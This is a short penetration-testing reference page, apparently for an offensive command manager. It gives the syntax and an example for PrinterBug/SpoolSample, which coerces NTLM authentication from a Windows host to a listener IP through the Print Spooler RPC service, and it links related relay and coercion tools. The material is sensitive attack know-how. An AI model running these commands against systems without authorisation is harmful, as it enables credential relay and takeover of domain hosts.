PrinterBug / SpoolSample

Coerce NTLM authentication using the Print Spooler service (MS-RPRN)

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: python3
Category: Credential Attacks / NTLM Relay & Coercion
Platform: linux
Requires: password
Protocols: RPC, NTLM

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

python3 printerbug.py '<domain>/<user>:<password>'@<target_ip> <listener_ip>

Examples

python3 printerbug.py 'corp.local/user:password'@192.168.1.100 192.168.1.50

Tags

printerbug spoolsample coercion ntlm spooler

NTLM Relay to SMB NTLM relay attack targeting SMB service
NTLM Relay to LDAP Relay NTLM authentication to LDAP to configure RBCD delegation
NTLM Relay to ADCS Relay NTLM authentication to ADCS web enrollment to obtain a certificate
Certipy Relay to ADCS Relay NTLM authentication to ADCS web enrollment to obtain a certificate
Coercer Coerce NTLM authentication using multiple RPC protocols
Coercer Scan (Find Coercion Vectors) Probe a target for every known authentication-coercion RPC method (PetitPotam,…
DFSCoerce Coerce NTLM authentication using MS-DFSNM (Distributed File System)
NetExec coerce_plus Module Unified coercion module — replaces the individual…